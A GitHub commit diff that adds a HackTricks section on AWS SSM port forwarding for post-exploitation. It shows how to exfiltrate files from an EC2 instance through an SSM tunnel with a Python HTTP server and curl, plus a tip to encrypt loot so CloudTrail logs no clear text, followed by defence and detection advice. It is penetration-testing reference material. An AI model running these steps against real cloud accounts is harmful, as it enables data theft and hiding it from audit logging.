Skip to content

Commit a55832e

Browse files
author
HackTricks News Bot
committed
Add content from: How to transfer files in AWS using SSM
1 parent 58b10eb commit a55832e

File tree

1 file changed

+61
-0
lines changed
  • src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation

1 file changed

+61
-0
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -138,6 +138,63 @@ Note that the SSL connections will fail unless you set the `--insecure-skip-tls-
138138

139139
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
140140

141+
---
142+
143+
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
144+
145+
If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
146+
147+
```bash
148+
aws ssm start-session --target i-0123456789abcdef0 \
149+
--document-name AWS-StartPortForwardingSession \
150+
--parameters "portNumber"="8000","localPortNumber"="8000" \
151+
--region <REGION>
152+
```
153+
154+
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
155+
156+
Common use cases:
157+
158+
* **File exfiltration**
159+
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
160+
161+
```bash
162+
python3 -m http.server 8000
163+
```
164+
165+
2. From your workstation fetch the files through the SSM tunnel:
166+
167+
```bash
168+
curl http://localhost:8000/loot.txt -o loot.txt
169+
```
170+
171+
* **Accessing internal web applications (e.g. Nessus)**
172+
173+
```bash
174+
# Forward remote Nessus port 8834 to local 8835
175+
aws ssm start-session --target i-0123456789abcdef0 \
176+
--document-name AWS-StartPortForwardingSession \
177+
--parameters "portNumber"="8834","localPortNumber"="8835"
178+
# Browse to http://localhost:8835
179+
```
180+
181+
Tip: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content:
182+
183+
```bash
184+
# On the instance
185+
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
186+
```
187+
188+
---
189+
190+
**Defence & Detection**
191+
192+
* Limit who can call `ssm:StartSession` or restrict the allowed SSM documents.
193+
* Enable Session Manager logging to CloudWatch/S3 and monitor for the `AWS-StartPortForwardingSession` document.
194+
* Use VPC endpoints plus traffic inspection to detect unexpected data egress.
195+
196+
197+
141198
### Share AMI
142199

143200
```bash
@@ -474,6 +531,10 @@ if __name__ == "__main__":
474531
main()
475532
```
476533
534+
## References
535+
536+
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
537+
477538
{{#include ../../../../banners/hacktricks-training.md}}
478539
479540

0 commit comments

Comments
 (0)